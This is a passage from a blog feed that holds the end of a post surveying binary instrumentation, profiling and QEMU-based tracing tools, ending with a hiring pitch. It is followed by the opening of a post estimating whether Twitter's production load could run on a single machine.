&lt;p&gt;&lt;a href=&quot;/assets/postassets/tracing/packettrace.png&quot;&gt;&lt;img src=&quot;/assets/postassets/tracing/packettrace.png&quot; alt=&quot;Perfetto Packet Trace&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I think it’s kinda crazy that we have all these different mostly-text-based BPF tools rather than a framework that lets you put all sorts of different kinds of system events into a trace UI, including easily scripting your own new events. It’s so much easier to investigate this kind of thing with a timeline UI. I started building that framework at Anthropic, but only spent a week on it since I’ve had higher priority things to do since I did the packet latency investigation.&lt;/p&gt;

&lt;h2 id=&quot;binary-instrumentation&quot;&gt;Binary Instrumentation&lt;/h2&gt;

&lt;p&gt;When you’re instrumenting userspace programs in a way where the overhead of kernel breakpoints is too high, but you don’t have access to the source code, perhaps because you’re reverse-engineering something, then it may be time for binary instrumentation.&lt;/p&gt;

&lt;h3 id=&quot;bpftime-ebpf-based-binary-instrumentation&quot;&gt;bpftime: eBPF-based binary instrumentation&lt;/h3&gt;

&lt;p&gt;One easy way that’s a good segue is &lt;a href=&quot;https://github.com/eunomia-bpf/bpftime&quot;&gt;bpftime&lt;/a&gt; which takes your existing eBPF programs with userspace probes, and runs them much faster by patching the instructions to run the BPF program inside the process rather than incurring 3us of kernel interrupt overhead every time.&lt;/p&gt;

&lt;h3 id=&quot;e9patch&quot;&gt;E9Patch&lt;/h3&gt;

&lt;p&gt;For more sophisticated binary patching on x86, look to &lt;a href=&quot;https://github.com/GJDuck/e9patch&quot;&gt;E9Patch&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On some architectures, patching can be really easy since you just patch the instruction you want to trace with a jump to a piece of “trampoline” code which has your instrumentation, and then the original instruction and a jump back.&lt;/p&gt;

&lt;p&gt;It’s much harder on x86 since instructions are variable length, so if you just patch a jump over a target instruction, occasionally that’ll cause problems since some other instruction jumps to an instruction your longer jump had to stomp over.&lt;/p&gt;

&lt;p&gt;People have invented all kinds of clever tricks to get around these issues including “instruction punning” where you put your patch code at addresses which are also valid x86 nop or trap instructions. E9Patch implements very advanced versions of these tricks such that the patching should basically always work.&lt;/p&gt;

&lt;p&gt;It comes with an API as well as a tool called &lt;a href=&quot;https://github.com/GJDuck/e9patch/blob/master/doc/e9tool-user-guide.md&quot;&gt;E9Tool&lt;/a&gt; which lets you patch using a command line interface:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# print all jump instructions in the xterm binary&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;e9tool &lt;span class=&quot;nt&quot;&gt;-M&lt;/span&gt; jmp &lt;span class=&quot;nt&quot;&gt;-P&lt;/span&gt; print xterm
jz 0x4064d5
jz 0x452c36
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;frida&quot;&gt;Frida&lt;/h3&gt;

&lt;p&gt;The other way to get around the difficulty of static patching, when you have to be conservative around how jumps you don’t know about could be messed up by your patches, is dynamic binary instrumentation, where you basically puppeteer the execution of the program. This is the technique used by JIT VMs like Rosetta and QEMU to basically recompile your program as you run it.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://frida.re/&quot;&gt;Frida&lt;/a&gt; exposes this incredibly powerful technique in a general way you can script in Javascript using its “Stalker” interface. Allowing you to attach JS snippets to pieces of code or rewrite the assembly as it is run. It also lets you do more standard patching, although it doesn’t work as well on x86 as E9Patch.&lt;/p&gt;

&lt;h2 id=&quot;ld_preload&quot;&gt;LD_PRELOAD&lt;/h2&gt;

&lt;p&gt;If you just want to trace a function in a dynamic library like libc, you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_PRELOAD&lt;/code&gt; to inject a library of your own to replace any functions you like. You can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dlsym(RTLD_NEXT, &quot;fn_name&quot;)&lt;/code&gt; to get the old implementation in order to wrap it. Check out &lt;a href=&quot;https://axcheron.github.io/playing-with-ld_preload/&quot;&gt;this tutorial post&lt;/a&gt; for how.&lt;/p&gt;

&lt;h2 id=&quot;distributed-tracing&quot;&gt;Distributed Tracing&lt;/h2&gt;

&lt;p&gt;Distributed Tracing is where you can trace across different services via attaching special headers to requests and sending all the timing data back to a trace server. Some popular solutions are &lt;a href=&quot;https://opentelemetry.io/&quot;&gt;OpenTelemetry&lt;/a&gt; (of which there are many implementations and UIs) and &lt;a href=&quot;https://zipkin.io/&quot;&gt;Zipkin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There’s some cool new solutions like &lt;a href=&quot;https://odigos.io/&quot;&gt;Odigos&lt;/a&gt; that use eBPF to add distributed tracing support without any instrumentation.&lt;/p&gt;

&lt;h2 id=&quot;sampling-profilers&quot;&gt;Sampling Profilers&lt;/h2&gt;

&lt;p&gt;Sampling profilers take a sample of the full call stack of your program periodically. Typical profiler UIs don’t have the time axis I’d think of as part of “tracing”, but some UIs do. For example &lt;a href=&quot;https://github.com/jlfwong/speedscope&quot;&gt;Speedscope&lt;/a&gt; accepts many profiler data formats and can visualize with a time axis, and &lt;a href=&quot;https://github.com/mstange/samply&quot;&gt;Samply&lt;/a&gt; is an easy to use profiler which uses the Firefox Profiler UI, which also has a timeline view.&lt;/p&gt;

&lt;p&gt;One neat sampling method used by &lt;a href=&quot;https://github.com/benfred/py-spy&quot;&gt;py-spy&lt;/a&gt; and &lt;a href=&quot;https://rbspy.github.io/&quot;&gt;rbspy&lt;/a&gt; is to use the &lt;a href=&quot;https://man7.org/linux/man-pages/man2/process_vm_readv.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process_vm_readv&lt;/code&gt; syscall&lt;/a&gt; to read memory out of a process without interrupting it. If like an interpreter the process stores info about what it’s doing in memory, this can allow you to follow it with no overhead on the target process. You could even use this trick for low-overhead native program instrumentation: set up a little stack data structure where you push and pop pointers to span names or other context info, and then sample it from another program when needed using eBPF or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process_vm_readv&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;qemu-instrumentation&quot;&gt;QEMU Instrumentation&lt;/h2&gt;

&lt;p&gt;When all other tracing tools fail, sometimes you have to fall back on the most powerful tool in the tracing toolbox: Full emulation and hooking into QEMU’s JIT compiler. This theoretically allows you to trace and patch both control flow &lt;em&gt;and&lt;/em&gt; memory, in both userspace and the kernel, including snapshot and restore, across many architectures and operating systems.&lt;/p&gt;

&lt;p&gt;However, actually doing this is not for the faint of heart and the tooling for it only barely exists.&lt;/p&gt;

&lt;h3 id=&quot;cannoli&quot;&gt;Cannoli&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/MarginResearch/cannoli&quot;&gt;Cannoli&lt;/a&gt; is a tracing engine for qemu-user (so no kernel stuff) which patches QEMU to log execution and memory events to a high-performance ringbuffer read by a Rust extension you compile. This lets it trace with very low overhead by spreading the load of following the trace over many cores, at the cost of not being able to modify the execution.&lt;/p&gt;

&lt;p&gt;It’s a bit tricky to use, you have to compile QEMU and Cannoli yourself at the moment, and it’s kind of a prototype so when I’ve used it in the past for CTFs I’ve often had to add new features to it.&lt;/p&gt;

&lt;h3 id=&quot;qemu-tcg-plugins&quot;&gt;QEMU TCG Plugins&lt;/h3&gt;

&lt;p&gt;QEMU has recently added &lt;a href=&quot;https://www.qemu.org/docs/master/devel/tcg-plugins.html&quot;&gt;plugin support for its TCG JIT&lt;/a&gt;. Like Cannoli this is read-only for now, and its likely slower than Cannoli, but it works in qemu-system mode and exposes slightly different functionality.&lt;/p&gt;

&lt;h3 id=&quot;usercorn&quot;&gt;usercorn&lt;/h3&gt;

&lt;p&gt;My friend has an old project called &lt;a href=&quot;https://github.com/lunixbochs/usercorn&quot;&gt;usercorn&lt;/a&gt; that is mostly bitrotted but has the ability to trace programs using QEMU and analyze them with Lua scripts and all sorts of fancy trace analysis. Someone (possibly him eventually) could theoretically revive it and rebase it on top of something like QEMU TCG plugins.&lt;/p&gt;

&lt;h1 id=&quot;conclusion-if-you-liked-this-you-may-like-my-team-at-anthropic&quot;&gt;Conclusion: If you liked this you may like my team at Anthropic&lt;/h1&gt;

&lt;p&gt;If you made it to the bottom and enjoyed all those different tracing strategies, you may also be interested in working on my team!&lt;/p&gt;

&lt;p&gt;I lead the performance optimization team at &lt;a href=&quot;https://www.anthropic.com/&quot;&gt;Anthropic&lt;/a&gt; (we build one of the world’s leading large language models, and have a heavy focus on figuring out how future more powerful models can go well for the world). We’ll be doing accelerator kernel optimization across GPUs, TPUs and Trainium. TPUs and Trainium are cool in that they’re simpler architectures where optimization is more like a cycle-counting puzzle, and they also have &lt;a href=&quot;https://awsdocs-neuron.readthedocs-hosted.com/en/latest/tools/neuron-sys-tools/neuron-profile-user-guide.html&quot;&gt;amazing tracing tools&lt;/a&gt;. Almost nobody knows these new architectures, so we’re currently hiring high potential people with other kinds of low-level optimization experience who are willing to learn.&lt;/p&gt;

&lt;p&gt;I plan for us to do a bunch of optimization work as compiler-style transformation passes over IRs, but simpler via being bespoke to the ML architecture we’re optimizing. These will parallelize architectures across machines, within a machine, and within a chip in similar ways. We also work closely with an amazing ML research team to do experiments together and come up with architectures that jointly optimize for ML and hardware performance.&lt;/p&gt;

&lt;p&gt;Anthropic recently received ~$6B in funding commitments, and are investing it heavily in compute. We currently have ~5 performance specialists, with each one making an immense contribution in helping us have models that exhibit interesting capabilities for our alignment researcher and policy teams.&lt;/p&gt;

&lt;p&gt;AI now is still missing a lot, but progress is incredibly fast. It’s hard for me to say the coming decade of progress won’t lead to AI as good as us at nearly all jobs, which would be the biggest event in history. Anthropic is unusually full of people who joined because they really care about ensuring this goes well. I think we have the world’s best alignment, interpretability research, and AI policy teams, and I personally work on performance optimization here because I think it’s the best way to leverage my comparative advantage to help the rest of our efforts succeed at steering towards AI going well for the world in the event it keeps up this pace.&lt;/p&gt;

&lt;p&gt;If you too would like to do fun low-level optimization on what I think will be the most important technology of this decade and want to chat: Email me at tristan@anthropic.com with a link or paragraph about the most impressive low-level or performance thing you’ve done. And feel free to check out some of
 &lt;a href=&quot;https://thume.ca/2023/01/02/one-machine-twitter/&quot;&gt;my other&lt;/a&gt; &lt;a href=&quot;https://thume.ca/2021/03/14/iforests/&quot;&gt;performance&lt;/a&gt; &lt;a href=&quot;https://thume.ca/2022/05/15/latency-testing-streaming/&quot;&gt;writing&lt;/a&gt;.&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Production Twitter on One Machine? 100Gbps NICs and NVMe are fast</title>
   <link href="https://thume.ca/2023/01/02/one-machine-twitter/"/>
   <updated>2023-01-02T00:00:00+00:00</updated>
   <id>https://thume.ca/2023/01/02/one-machine-twitter</id>
   <content type="html">
&lt;p&gt;In this post I’ll attempt the fun stunt of designing a system that could serve the full production load of Twitter with most of the features intact on a single (very powerful) machine. I’ll start by showing off a Rust prototype of the core tweet distribution data structure handling 35x full load by fitting the hot set in RAM and parallelizing with atomics, and then do math around how modern high-performance storage and networking might let you serve a close-to-fully-featured Twitter on one machine.&lt;/p&gt;

&lt;p&gt;I want to be clear this is meant as educational fun, and not as a good idea, at least going all the way to one machine. In the middle of the post I talk about all the alternate-universe infrastructure that would need to exist before doing this would be practical. There’s also some features which can’t fit, and a lot of ways I’m not really confident in my estimates.&lt;/p&gt;

&lt;p&gt;I’ve now spent about a week of evenings and a 3 weekends doing research, math and prototypes, gradually figuring out how to fit more and more features (images?! ML?!!) than I initially thought I could fit. We’ll start with the very basics of Twitter and then go through gradually more and more features, in what I hope will be a fascinating tour of an alternative world of systems design where web apps are built like high performance trading systems. I’ll also analyze the minimum cost configuration using multiple more practical machines, and talk about the practical disadvantages and advantages of such a design.&lt;/p&gt;

&lt;p&gt;Here’s an overview of the features I’ll talk about and whether I think they could fit:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Timeline and tweet distribution logic&lt;/strong&gt;: Based on a prototype, fits easily on a handful of cores when you pack recent tweets in RAM supplemented with NVMe.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;HTTP(S) request serving&lt;/strong&gt;: Yes. HTTP fits, HTTPS fits only because of session resumption.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Image serving&lt;/strong&gt;: A close fit with rough estimates, but maybe doable with multiple 100Gbit/s networking cards. You need effort to avoid extreme bandwidth costs.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Video, search, ads, notifications&lt;/strong&gt;: Probably these wouldn’t fit, and it’s really tricky to estimate whether they might.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Historical tweet and image storage&lt;/strong&gt;: Tweets fit on a specialized server, &lt;em&gt;but images don’t&lt;/em&gt;, you could fit maybe 4 months of images with a 48x HDD storage pod.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ML-based timeline&lt;/strong&gt;: A100 GPUs are insane and can run a decent LM against every tweet and dot-product the embeddings with every user.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s get this unhinged answer to a &lt;a href=&quot;https://www.geeksforgeeks.org/design-twitter-a-system-design-interview-question/&quot;&gt;common systems design interview question&lt;/a&gt; started!&lt;/p&gt;

&lt;h2 id=&quot;core-tweet-distribution&quot;&gt;Core Tweet Distribution&lt;/h2&gt;

&lt;p&gt;Let’s start with the original core of Twitter: Users posting text-based tweets to feeds which others follow with a chronological timeline. There’s basically two ways you could do this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The timeline page pulls tweets in reverse-chronological order from each follow until enough tweets are found, using a &lt;a href=&quot;https://en.wikipedia.org/wiki/Heap_(data_structure)&quot;&gt;heap&lt;/a&gt; to merge them. This requires retrieving a lot of tweets from different feeds, the challenge is making that fast enough.&lt;/li&gt;
  &lt;li&gt;Each tweet gets pushed into cached timelines. Pushing tweets might be faster than retrieving them in some designs, and so this might be worth the storage. But celebrity tweets have huge fanout so either need background processing or to be separately merged in, but you need a backup merge anyways in case a range of timeline isn’t cached.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/donnemartin/system-design-primer/blob/master/solutions/system_design/twitter/README.md&quot;&gt;systems design interview&lt;/a&gt; &lt;a href=&quot;https://medium.com/@narengowda/system-design-for-twitter-e737284afc95&quot;&gt;answers&lt;/a&gt; I can find take the second approach because merging from the database on pageload would be too slow with typical DBs. They use some kind of background queue to do the tweet fanout writing into a sharded timeline cache like a Redis cluster.&lt;/p&gt;

&lt;p&gt;I’m not sure how real Twitter works but I think based on &lt;a href=&quot;https://miro.com/app/board/uXjVPBnTJmM=/&quot;&gt;Elon’s whiteboard photo&lt;/a&gt; and some tweets I’ve seen by Twitter (ex-)employees it seems to be mostly the first approach using fast custom caches/databases and maybe parallelization to make the merge retrievals fast enough.&lt;/p&gt;

&lt;h2 id=&quot;how-big-is-twitter&quot;&gt;How big is Twitter?&lt;/h2&gt;

&lt;p&gt;When you’re not designing your systems to scale to arbitrary levels by adding more machines, it becomes important what order of magnitude the numbers are, so let’s try to get good numbers.&lt;/p&gt;

&lt;p&gt;So, how many tweets do we need to store? &lt;a href=&quot;https://blog.twitter.com/engineering/en_us/a/2013/new-tweets-per-second-record-and-how&quot;&gt;This Twitter blog post from 2013&lt;/a&gt; gives figures for daily and peak rates, but those numbers are pretty old.&lt;/p&gt;

&lt;p&gt;Through intense digging I found a researcher who left a notebook public including tweet counts from many years of Twitter’s &lt;a href=&quot;https://developer.twitter.com/en/docs/twitter-api/enterprise/decahose-api/overview/decahose&quot;&gt;10% sampled “Decahose” API&lt;/a&gt; and discovered the surprising fact that &lt;strong&gt;tweet rate today is around the same as or lower than 2013&lt;/strong&gt;! Tweet rate peaked in 2014 and then declined before reaching new peaks in the pandemic. Elon recently &lt;a href=&quot;https://twitter.com/elonmusk/status/1598758363650719756&quot;&gt;tweeted the same 500M/day&lt;/a&gt; number which matches the Decahose notebook and 2013 blog post, so this seems to be true! Twitter’s active users grew the whole time so I think this reflects a shift from a “posting about your life to your friends” platform to an algorithmic content-consumption platform.&lt;/p&gt;

&lt;p&gt;I did all my calculations for this project using &lt;a href=&quot;http://calca.io/&quot;&gt;Calca&lt;/a&gt; (which is great although buggy, laggy and unmaintained. I might switch to &lt;a href=&quot;https://soulver.app/&quot;&gt;Soulver&lt;/a&gt;) and I’ll be including all calculations as snippets from my calculation notebook.&lt;/p&gt;

&lt;div class=&quot;calca&quot;&gt;
  &lt;p&gt;First the public top-line numbers:

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;daily active users&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;250e6&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;250,000,000&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg tweet rate&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;500e6&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;5,787.037&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;The Decahose notebook (which ends March 2022) suggests that tweet rate averages out pretty well at the level of a full day, the peak days ever in the dataset (during the pandemic lockdown in 2020) only have about 535M tweets compared to 340M before the lockdown surge.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;traffic surge ratio&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;535e6&lt;/span&gt; / &lt;span class=&quot;n&quot;&gt;340e6&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;n ans&quot;&gt;1.5735&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;max sustained tweet rate&lt;/span&gt; = avg tweet rate * traffic surge ratio  &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;9,106.073&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;s&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;The maximum tweet record is probably still the 2013 Japanese TV airing, Elon said only 20k/second for the recent world cup.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;max tweet rate&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;150,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;150,000&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;second&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Now we need to figure out how much data that is. Tweets &lt;a href=&quot;https://qntm.org/twitcodings&quot;&gt;can fit a maximum of 560 bytes&lt;/a&gt; but probably almost all Tweets are shorter than that and we can either use a variable length encoding or a fixed size with an escape hatch to a larger structure for unusually large tweets. One dataset I tried suggested an average length close to 80 characters, but I that was maybe from before the tweet length expansion so let&apos;s use a larger number to be safe and allow a fixed size encoding with escape hatch.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweet content max size&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;560&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweet content avg size&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;140&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Tweets also have metadata like a timestamp and also some numbers we may want to cache for display such as like/retweet/view counts. Let&apos;s guess some field counts.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;metadata size&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;2&lt;/span&gt;*&lt;span class=&quot;n&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt; + &lt;span class=&quot;n&quot;&gt;5&lt;/span&gt; * &lt;span class=&quot;n&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;36&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Now we can use this to compute some sizes for both historical storage and a hot set using fixed-size data structures in a cache:

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweet avg size&lt;/span&gt; = tweet content avg size + metadata size &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;176&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweet storage rate&lt;/span&gt; = avg tweet rate * tweet avg size &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;88&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;tweet storage rate * &lt;span class=&quot;n&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;year&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;32.1413&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;TB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweet content fixed size&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;284&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweet cache rate&lt;/span&gt; = (tweet content fixed size + metadata size) * max sustained tweet rate &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;251.7647&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;/&lt;span class=&quot;u&quot;&gt;day&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;Let&apos;s guess the hot set that almost all requests hit is maybe 2 days of tweets. Not all tweets in people&apos;s timeline requests will be &amp;lt;2 days old, but also many tweets aren&apos;t seen very much so won&apos;t be in the hot set.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;tweet cache size&lt;/span&gt; = tweet cache rate * &lt;span class=&quot;n&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;day&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;503.5294&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
  &lt;p&gt;We also need to store the following graph for all users so we can retrieve from the cache. I need to completely guess a probably-overestimated average following count to do this.

  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;avg following&lt;/span&gt; = &lt;span class=&quot;n&quot;&gt;400&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;&lt;span class=&quot;d&quot;&gt;graph size&lt;/span&gt; = avg following * daily active users * &lt;span class=&quot;n&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt; &lt;span class=&quot;t&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ans&quot;&gt;&lt;span class=&quot;n&quot;&gt;400&lt;/span&gt; &lt;span class=&quot;u&quot;&gt;GB&lt;/span&gt;&lt;/span&gt;
  &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;I think the main takeaway looking at these calculations is that many of these numbers are small numbers on the scale of modern computers!&lt;/p&gt;

&lt;h2 id=&quot;hot-set-in-ram-rest-on-nvme&quot;&gt;Hot set in RAM, rest on NVMe&lt;/h2&gt;

&lt;p&gt;Given those numbers, I’ll be using the “&lt;a href=&quot;https://twitter.com/garybernhardt/status/600783770925420546?s=20&quot;&gt;your dataset fits in RAM&lt;/a&gt;” paradigm of systems design. However it’s a little more complicated since our dataset doesn’t &lt;em&gt;actually&lt;/em&gt; fit in RAM.&lt;/p&gt;

&lt;p&gt;Storing all the historical tweets takes many terabytes of storage. But probably 99% of tweets viewed are from the last few days. This means we can use a hybrid of RAM+NVMe+HDDs attached to our machine in a tiered cache:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;RAM will store our hot set cache and serve almost all requests, so most of our performance will only depend on the RAM cache. It’s common to fit 512GB-1TB of RAM in a modern machine.&lt;/li&gt;
  &lt;li&gt;Modern NVMe drives can store &amp;gt;8TB and do &lt;a href=&quot;https://ci.spdk.io/download/performance-reports/SPDK_NVMe_bdev_gen4_perf_report_2201.pdf&quot;&gt;over 1 million 4KB IO operations per second per drive&lt;/a&gt; with latencies near 100us, and you can attach dozens of them to a machine. That’s enough to serve all tweets, but we can lower CPU overhead and add headroom by just using them for long tail tweets and probably the follower graph (since it only needs one IO op per timeline request).&lt;/li&gt;
  &lt;li&gt;Some extra 20TB HDDs can store the very old very cold tweets that are basically never accessed, especially at the 2x compression I saw with &lt;a href=&quot;http://facebook.github.io/zstd/&quot;&gt;zstd&lt;/a&gt; on tweet text from a &lt;a href=&quot;https://www.kaggle.com/datasets/kazanova/sentiment140&quot;&gt;Kaggle dataset&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, super high performance tiering RAM+NVMe buffer managers which can access the RAM-cached pages almost as fast as a normal memory access are mostly only &lt;a href=&quot;https://www.cs.cit.tum.de/fileadmin/w00cfj/dis/_my_direct_uploads/vmcache.pdf&quot;&gt;detailed and benchmarked in academic papers&lt;/a&gt;. I don’t know of any good well-maintained open-source ones, &lt;a href=&quot;https://dbis1.github.io/&quot;&gt;LeanStore&lt;/a&gt; is the closest. You don’t just need tiering logic, but also an NVMe write-ahead-log and checkpointing to ensure persistence of all changes like new tweets. This is one of the areas where running Twitter on one machine is more of a theoretical possibility than a pragmatic one.&lt;/p&gt;

